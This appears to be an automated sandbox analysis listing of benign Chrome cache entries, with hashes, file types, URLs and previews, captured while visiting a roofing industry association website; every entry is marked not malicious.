SHA-256:	5AAD5FBD4238981A9FF5E2772FF1353DFE1A801FB49542FE157418C1438F7782
SHA-512:	8FC41038B4DC2FC2465422FB3144B71C2ACD2F4552607369314FEC9B7F561B7A3919CDC4219DF2089395241168FFBFE29E67DDDA834E66C27E4C88066C8F4496
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-includes/js/wp-emoji-release.min.js?ver=6.0.7
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a]

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	91345
Entropy (8bit):	5.440970973580003
Encrypted:	false
SSDEEP:	1536:ptuyjLpap7Tcg1hOH+Ej4kG/GjHcJfsV3Uj9oA8TpuQry7PDwyHILXeQKWDVpg0H:vA5ceh+xExv9oA8Tpuum7zoLXeQKcVp5
MD5:	B05CCD1F28CE0E4120D168117B1BBD2E
SHA1:	BDAADC8EFE0F392163A3141B47701E68CA71EA80
SHA-256:	C1A8092F446D30F43AECEDA1E8F368D0913402F4B88C76305C941E26FF321B14
SHA-512:	372C3F869283FEC2D371023C23006D28C80AD5E0C5CA109D492AFCD384930DB94172EF14D70D29569C45AE122761B8F44A95A4400FC37FFF01329758341CF320
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/guide-for-homeowners/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 600, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	47111
Entropy (8bit):	7.985482518135841
Encrypted:	false
SSDEEP:	768:5kzWhE5fQdkW20p4Nii/xN5V4O5ognCBgdAeeyiGRAs/9dy059AXAuVcOPZVciG3:yzb5QlMii/JWwCBtNyicBVM0vAX5peh
MD5:	E2931D6BDBDA2703676B6ABF960032F4
SHA1:	A66E5F46590085D3A69A4A974697DF33965A8F48
SHA-256:	15246AB68C913C98C999A6BFFFB9DFEDFE4E181E725D686DCA6CE064E20FD57E
SHA-512:	A168C4BA90E494235D20F4FF8D30B2140413A9AF99030C72B6AD25D44CD1C4010160B81105DB84D6AA3431D6846CEA2D0A17B1C06F368814993A125834646C8F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X...X.......h.....PLTEGpL243...............VUU...()(......667.........IKP...+++.........XXXRRS...=@E......nnnGGG...bbb---XXX::;...SSSTTT3..f..<<=^...........s!....ehobelhkr`bh...]^d........................27.u"!("...._X.UNz4....JD.ib....?9......smEI2oqy.}y......vw.}~.......PVar.........Z^;.R.&...tRNS..<.0.H.{'.q..Sg.]...........@......m...L.L....xIDATx..]]O.J..}....".`G...\!..UKI..oy..b)/...qwwfv..W..9..Urt...._.1.....`0.....`0.....`0.....`0.....`0.....`0...[./.......O.\|0..........v}u....v./?/..p.....f..D......?;..U..cK..85.M&..d4..bj1../..i...U...t....&I2^-....O.yb<...T^....T.V.C.#..'..<..j5...a.U+..&........T.$.....a..-.c..zb"... .0K.Vz..b<.6......}.7~...8..H..~.d.f..3.....T..QOn...+...V.3.B.>z....N...........dO..(.8.'.AF}.RY,.dqN....(4...T..u.....m..Q... .I..?..5Q8=......5..\|@.:;.J..Z...Lt-.>.....P.dz>..=..$J9$....@.>.J..".......e}.Da(O....Y...^._{..G......S..H.TE.........%{&.M.G"....R]jR.......K....}...;.q....T..

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884089117
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2F&trace_id=735f1429eac14582954d252d84b62fec&cts=2024-04-23T14%3A53%3A55.212Z&hit_id=6bc57213-95cf-4a17-90f9-275af1551132&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1192888660&z=1998073332&tce=1713884018407&tcs=1713884018153&tdc=1713884035200&tdclee=1713884029542&tdcles=1713884029416&tdi=1713884029415&tdl=1713884018650&tdle=1713884018153&tdls=1713884017849&tfs=1713884017846&tns=1713884017239&trqs=1713884018407&tre=1713884018746&trps=1713884018629&tles=1713884035200&tlee=0&nt=navigate&LCP=12753&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 87, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	606
Entropy (8bit):	7.493521283641872
Encrypted:	false
SSDEEP:	12:6v/7xfCMil/rrr+TLXK+xcSh1hLf+O0bdE4Xp5okWh69:gqlvKTLXRxcS/JW13ZZWK
MD5:	854CB85499A0704D1AFEA0F97EEC1E5F
SHA1:	F1459FF0DA8EF50761E2D02696344B65D6FB738E
SHA-256:	9C25453341720E0514C449340F301D0B4278C8226F5274A82FF853EEF91F664F
SHA-512:	FA48C6711FA24604AE7256E1903ED6DA52F3108EF812F181BF454C955B858449B364FA290CCEC08BB41668EECEDF94C1DDDA02EEB9D53CD4C34773BE0CE15E26
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/logo-icon.png
Preview:	.PNG........IHDR...\...W.....{.?.....PLTE.QK...u".v$.......t ..l......tRNS.Pn........IDATx..n.0..`c.s.cGN.......{..{.G......;..E....^..A%..T.........5#.Ik._.>.8=.....S.w..<N..}.<N...\|.qB.........y......P...!~.....;.......Q..n ..w.........yX.).E.1...G.+..H.F.V.s4eN$...q\|..q.l..D.S..w.........KB\..'?...'`.. ......W5.....~SJ5.'`....'.[].zuBY._......&>..o....H5..9.....QM_V...?......5.../......;.-..F.p.'-?.o<........z?..t.7....j..u....3'5.....@...ix....q...X.3xF..*....9.f ..f:....2+'Nm....o..(:..>q...B.1^.9.....".%........[...{..g^....'.......`.....q..l'.....IEND.B`.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 200, 1-bit grayscale, non-interlaced
Category:	downloaded
Size (bytes):	122
Entropy (8bit):	5.082412377015247
Encrypted:	false
SSDEEP:	3:yionv//thPkJl/tktliRIBxXmkkNPgoOvFFoElllB1p:6v/lhPkJfktN3ItO3p
MD5:	86C58B484B48EAC285E131E8B55D2CE7
SHA1:	3D3EE4C137A6F36E5FBEE31E21A4D08F2C38D20E
SHA-256:	9603FFEB6772F1CF745E0097D5D6C046EAF16151E5BC521F20764BBA5DDB7713
SHA-512:	C664D3B397361CDD24AEDEF7A5DDB8B3BD6897830A9C38036BCF90C780C32369000736BC27351CC16818E9B675FB16A55528414995B712B6D5D78B223582F677
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/assets/transparent.png
Preview:	.PNG........IHDR...,.........z.......tRNS.........3IDATx...1..... .......p3.XM.4M."M.4M.4M.4M.4M.4M....L$%......IEND.B`.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2000x710, components 3
Category:	dropped
Size (bytes):	28367
Entropy (8bit):	7.733884615511072
Encrypted:	false
SSDEEP:	768:puowgaR5707FMqw7AWvVkoSKCcS81UhOEVcUZkRYo0RJAtH:cow3370DkARRfP81U8EVD4AJAtH
MD5:	D867335C557D9CE16568DF5EF96F43DD
SHA1:	DB8F4987906F4909356551414510E15F82DB2CE6
SHA-256:	845ED00F0D72AE62659FD495E13F8420F86E67425E9199872BEA9148F097BFED
SHA-512:	5B9639E234A710365B432F17EAF316BADC704CFBF1E0B1FCAE7BE155313EF0D1767A53A0AA6E4F0BCE0312DC52D15A1B837F926A5B76DBE2B98CD6307EDFAB74
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................."."..+''+.F26262FjBNBBNBj^r]V]r^..vv............................"."..+''+.F26262FjBNBBNBj^r]V]r^..vv..........................."...............................................0...................................................................................&t"....FR..i`.........`..............B...).k..q.~.S...J9:..Z.n....@...........................Z"Y.Z..~Tk.l...ridy......K`...$ ......t.................(B.+e0.M.........>.1.....?..u....t..@H.........................).Ea6.k.s..e..1...=.SF^...]V.~{.....=....=... $. .......=................N.."$.._h........c...{..>..n..\|...\|.?B........... ....!.@.............. ..g.i..4.5.y.g...m&q.,:=oS.......y.............z.@...... ."....................0...H_I....z["..-1.......g.....;.1.wu.....JJE....@ ..%.U..z ..............$W.........YB.9.W.{.....{..o..vV=.H...D ... ..H...................@.D.1..\...kDS.V.5K.9\|......./_K..q..o...l.h.d."...6"*.H....@A=.................0....6._MS.5....c...<.k..

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1499)
Category:	downloaded
Size (bytes):	3329
Entropy (8bit):	5.309048102527347
Encrypted:	false
SSDEEP:	48:aGLnnkDjPxpHQxczrWRF7WCFx/UojyLt58koc0g2B1KyNdVIfLt/fPu0synCweyC:amnnkX0gC7nz/DGNocv29NdV0f20nuV
MD5:	85A44F3DA76925A60C62F7607C2F5A1D
SHA1:	C14254AB180B397D3EB0AD23CDE7134B1D1E08A6
SHA-256:	6A5FA96340B21EE2114134561E65915A9BD9BE9E7E20DB02815E4AA9B313E6FC
SHA-512:	D5CDFB88298C1FC886B6120EF72BBB94E5C9538129785ED7E81C7AFFF26343AE2ED2E3EF3E5FE4ABD4BC40B0692B8C9399D5BB56CF12AE6ADE630BB3041B14BD
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/search_impl.js
Preview:	google.maps.__gjsload__('search_impl', function(_){var Mkb=function(a,b){_.H(a.Ig,3,b)},Qkb=function(a,b,c){const d=_.jL(new Nkb);c.Dq=(0,_.Ca)(d.load,d);c.clickable=0!=a.get("clickable");_.hNa(c,_.zR(b));const e=[];e.push(_.sk(c,"click",(0,_.Ca)(Okb,null,a)));_.Pb(["mouseover","mouseout","mousemove"],function(f){e.push(_.sk(c,f,(0,_.Ca)(Pkb,null,a,f)))});e.push(_.sk(a,"clickable_changed",function(){a.Fg.clickable=0!=a.get("clickable")}));a.Gg=e},Okb=function(a,b,c,d,e){let f=null;if(e&&(f={status:e.getStatus()},0==e.getStatus())){f.location=_.Y(e.Ig,.2)?new _.Gj(_.Fu(_.J(e.Ig,2,_.Lu).Ig,1),_.Fu(_.J(e.Ig,2,_.Lu).Ig,2)):null;f.fields={};const g=_.ri(e.Ig,3);for(let h=0;h<g;++h){const l=_.fs(e.Ig,3,_.IR,h);f.fields[l.getKey()]=l.getValue()}}_.Fk(a,"click",b,c,d,f)},Pkb=function(a,b,c,d,e,f,g){let h=null;f&&(h={title:f[1].title,snippet:f[1].snippet});_.Fk(a,b,c,d,e,h,g)},Rkb=function(){},Skb=class extends _.R{constructor(){super()}bj(){return _.Pi(this.Ig,2)}},Tkb=[_.K,,,_.bq,_.pOa];var U

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	169
Entropy (8bit):	4.327310555957059
Encrypted:	false
SSDEEP:	3:USUljkczZQWh8KN5XtaRAEECmOMFCLEZQWhuZQWhZXEDtosDUji:URBkczZDWKLYAZRNZDEZDDXEZosB
MD5:	56762B16EFA76E636FD86393086B8A55
SHA1:	45B0A8232B72FDDA2CDF9E95DCDBDB937ADBC155
SHA-256:	897771A44C9B626A5FB42D68AEE1C46E3E23E4D1317FD3C91B9DEB578DDEC97A
SHA-512:	EC4E3E0F779BBF4450B220FFE9E1B18D6F3846DF975AA8FEE3CDE8B008C7C4F6420B24AAC26BA4B268F1D4773C58537BC880F1CD4D9E5B01F2FC41F3FB078046
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.progressbar.css
Preview:	/* Progressbar.----------------------------------*/..ui-progressbar { height:2em; text-align: left; }..ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.415307004445714
Encrypted:	false
SSDEEP:	3:tju3i3Hmb0nFYyMdln:ty3iH3nKyKn
MD5:	D61D6538E5844F2251D883968EF0F689
SHA1:	0D1CABE30D7E184B41BEB5D9A783C7A0AC8EBBC3
SHA-256:	76B09D2A203095A8365F010E4B5A74E8E40D6C5C3203FA482E200C973EB630D1
SHA-512:	C6C2A11417FB2AD1164F0158959ACB91764663AD8D1E9D3BE293CAEA4B0B99F245124406A2B7D3A7CE64F326C16D7E3FE012ADD6BF43818BF5298908F7542F3B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwna8Z7oDGeZhBIFDRUXmhESBQ0Iia22?alt=proto
Preview:	CjEKIg0VF5oRGgQICRgBGgQITBgCKg8IClILCgEhEAEY/////w8KCw0Iia22GgQIXxgC

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fabout-arma%2Fjoin&trace_id=319d5185d5fc45878e7ac3e6a4065fc7&cts=2024-04-23T14%3A54%3A08.473Z&hit_id=a36d9881-af0e-491a-99a2-bb4977aba5c1&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=171920188&z=502803637&tce=1713884046618&tcs=1713884046374&tdc=1713884048460&tdclee=1713884048041&tdcles=1713884048007&tdi=1713884048006&tdl=1713884046856&tdle=1713884046374&tdls=1713884046374&tfs=1713884046356&tns=1713884046353&trqs=1713884046618&tre=1713884047127&trps=1713884046851&tles=1713884048460&tlee=0&nt=navigate&LCP=1659&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	4.645957607820541
Encrypted:	false
SSDEEP:	192:1jHXN5HjRHJNnHKDHJXHasHyBj8nHBH8bNbHlUqrmni4ElJK6XKUlK5859lP5IQL:1TdtjVTHKzJXawyBEleb8apGAHPJ
MD5:	456663A286A204386735FD775542A59E
SHA1:	0A61620B88F4AE0FA7D71E2C7A014EA2C3AB5749
SHA-256:	A7A83E60E7E3B8CADEED69327BA498B4CD68605DB6E408729FA1B946758E7501
SHA-512:	880DC7B615DDC62135595976555F501AF8EA2F1C328B6CBDA1EF656C5D4BE7794AC0ECE5FAF8AE52EFE686C156F1C74646C67DA62D66E7BD88DCB36788860422
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=7.0.0
Preview:	:root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content-bg:#fff;--wc-subtext:#767676}.woocommerce table.shop_table_responsive thead,.woocommerce-page table.shop_table_responsive thead{display:none}.woocommerce table.shop_table_responsive tbody tr:first-child td:first-child,.woocommerce-page table.shop_table_responsive tbody tr:first-child td:first-child{border-top:0}.woocommerce table.shop_table_responsive tbody th,.woocommerce-page table.shop_table_responsive tbody th{display:none}.woocommerce table.shop_table_responsive tr,.woocommerce-page table.shop_table_responsive tr{display:block}.woocommerce table.shop_table_responsive tr td,.woocommerce-page table.shop_table_responsive tr td{display:block;text-align:right!important}.woocommerce table.shop_table_responsive tr td.order-actions,.wooc

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	4.2222080684040195
Encrypted:	false
SSDEEP:	3:YMlUxWQoJSXKtVn:YM7jJSKV
MD5:	57D519CC194C5C5B0F763B846AE12366
SHA1:	0E593F9099DB1C98D4EEFF64D728FC3F81AE3E53
SHA-256:	7F100675CB597DF4D9C18D390963B0062703E5D617244CCDD494BEB39037190D
SHA-512:	41C4DC911CF84F2F4A610C93E5B329356080E3645231F890F05FA8A88D83463143AE8FA7DE06ABF9F1AC3CBD9E91746FDADBE2CD7B0691CA94CCCA7C0F295F55
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/accounts/603026366fd8bf4e42de107f/integrations
Preview:	{"integrations": ["tradedesk", "facebook"]}

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7468
Entropy (8bit):	7.890096814852679
Encrypted:	false
SSDEEP:	192:AqT/XlCd1q3GKCgh5WgvzlIY+riZeK3rqor9THdLn0Gi:Aqz8/o5rp6iZ5qorRHKGi
MD5:	F2129E1B06E2A34BA5144891D21B457D
SHA1:	6FF7F0BAC0F82846A1AB0234BDCE4F9F37C2BCC7
SHA-256:	0209FC8DEE63C4BE1D9C644AA254FC9E34EA54BF5C0DA4832A1D1CDCBF35F23D
SHA-512:	8DC68671701569F48828262C60331F8223F7D126E5611A5A1858B73D5AEFE27619F53AEC1D2629C20419804F0060D38E5447CA4CE9702A3ACE1A79C41E16820F
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=55343
Preview:	.PNG........IHDR.............k.XT....pHYs................rPLTE.....................................puz...................{~....Q.i......'.ENRVn..Z]a...5.Q....8....s.T..4.Sg..}...`IDATx......<...d`f.....+.].j@@P...n.u...$;5.R.0M...._....[r...L}.....!{....6.-.-.OY/.Rj....O>..^..".rz...oYN....;.....@..............j....ASj.["\...."y.n?F}A`..v..I;qr.y.....`1q...,..[(....Ei...bl.re0.........Ld.4..C...T..>{Y......F.H....U.p_.."...:1....t;m.....".7w..Fp.=...~.....o...}...4..;f.o..QJ.....G.../i..%.k~i:.(..T.'p=..'.o.......Q..'...{.@>1..Bt....f.....1..H......7..e.].f_....o....1/N..O.n..\....C..?....Z.....P....W............a.Y..r.....`...3#X..-.......&]........v.Zn..*F.7..2z....U.....~{...i...~.FHy..:.=dn.$.....%..3;..+.N.......+D0.P..@F.?....}.......aQ.B..V.....@z.{~S..WX........././....[....n/.~.]6...... ...59...P.....})...$.....>.dPY.{k.f%.\|...J..7..)..{...W...BxMM.n.<_0....O....l....}h..Q..h...?.te..@.lPq./..3.7tL8KG.~..MB...3....u.I.vf......."....

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8853)
Category:	downloaded
Size (bytes):	9237
Entropy (8bit):	5.097919218248826
Encrypted:	false
SSDEEP:	192:tE/kIozT9DjFA6hj8jAanJVvfikr5IuFQYzpN0c7yPYRXFARk6kJrrAlr:tEMZzT9DjFAC8EanJVv5IuFQYn0IuYRu
MD5:	5FF487A413612CBBF6BC391C10FF7BAC
SHA1:	ACBBD8A96ECAD33158F29E45AFCD41E4B2DD6579
SHA-256:	357AD057DE8FFC0FC9DF301DD1873C3D482E926791195EE262DA3886269F84D8
SHA-512:	9AF6CF849FCFE777EE1DAA2E5CCD79DC1B11013470DB78B4C165A81573CCAB4F6F1757082CF0FE643C95AFDD42283EE0EE89522923A0E1C1303F5C07A8F3CCAD
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/vc_waypoints/vc-waypoints.min.js?ver=6.1
Preview:	/!. WPBakery Page Builder v6.0.0 (https://wpbakery.com). * Copyright 2011-2019 Michael M, WPBakery. * License: Commercial. More details: http://go.wpbakery.com/licensing. /..// jscs:disable.// jshint ignore: start../!.Waypoints - 4.0.1.Copyright . 2011-2016 Caleb Troughton.Licensed under the MIT license..https://github.com/imakewebthings/waypoints/blob/master/licenses.txt.*/.!function(){"use strict";var e=0,r={};function i(t){if(!t)throw new Error("No options passed to Waypoint constructor");if(!t.element)throw new Error("No element option passed to Waypoint constructor");if(!t.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+e,this.options=i.Adapter.extend({},i.defaults,t),this.element=this.options.element,this.adapter=new i.Adapter(this.element),this.callback=t.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=i.Group.findOrCreate({name:this.option

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Compressed by jpeg-recompress", progressive, precision 8, 5616x3744, components 3
Category:	dropped
Size (bytes):	2288904
Entropy (8bit):	7.985919152593688
Encrypted:	false
SSDEEP:	49152:shbL3V37uAKfBgX38ufThLX8855E7/eI2hX1D6ediY6T51XqFL:shvlCAYacEtX8855C2dziYW51Xq9
MD5:	6B18BFB9367516F57D408C2BD383DD37
SHA1:	A75DF5448CD4CB9EC15411611A75B95A518F045E
SHA-256:	BB4D9CB3086DE151BF0EFC8F5820FD550D92FCD621F80AE7B095310A3BAE9AD9
SHA-512:	6F238E9CCF01E9A893D3D99B88F098EC367ADCB5A003CEFB954FBF29166D3D9B31E2EEC0C949265D741CC2D3101D34B88606E05EB24C8E6525B7F64D89A7E374
Malicious:	false
Reputation:	low
Preview:	......JFIF............. Compressed by jpeg-recompress...........................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz.............................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz..................".....................................................g.WO..rM.h....-.[..S.a...o...]^...9....w.{.:.O..9..;.....p.=._..U.....-.6..rv.]gL.b.b.V...u..rl.>O.....\|.........vn.U./.....p=.._+.<<..E....r,.].t,oa..q)......wV.W......S..;........$"`............................."H.................."H........@...."H.............. ........`..........................@..H..... ........(......o5.h....v\|..d..?U..x=."f..u.....^...=..c.n....v-\|..%<.[...x..g'..,<.W..^_S..d..q.\|~.#......./...:...t.s...1.O?..t<.s....}O...u.......<."......x9.^....m..c..z.]...\|.-.{.;.hK...~.........@............................0.......@..................A!......0.........0.L.........@..........1............HD....................G..!@7.!..0y.(v..v..\zo...6.?......._/n.C...>..\S...c.:x.lty.........{~....5...j..i

Chrome Cache Entry: 271

Download File

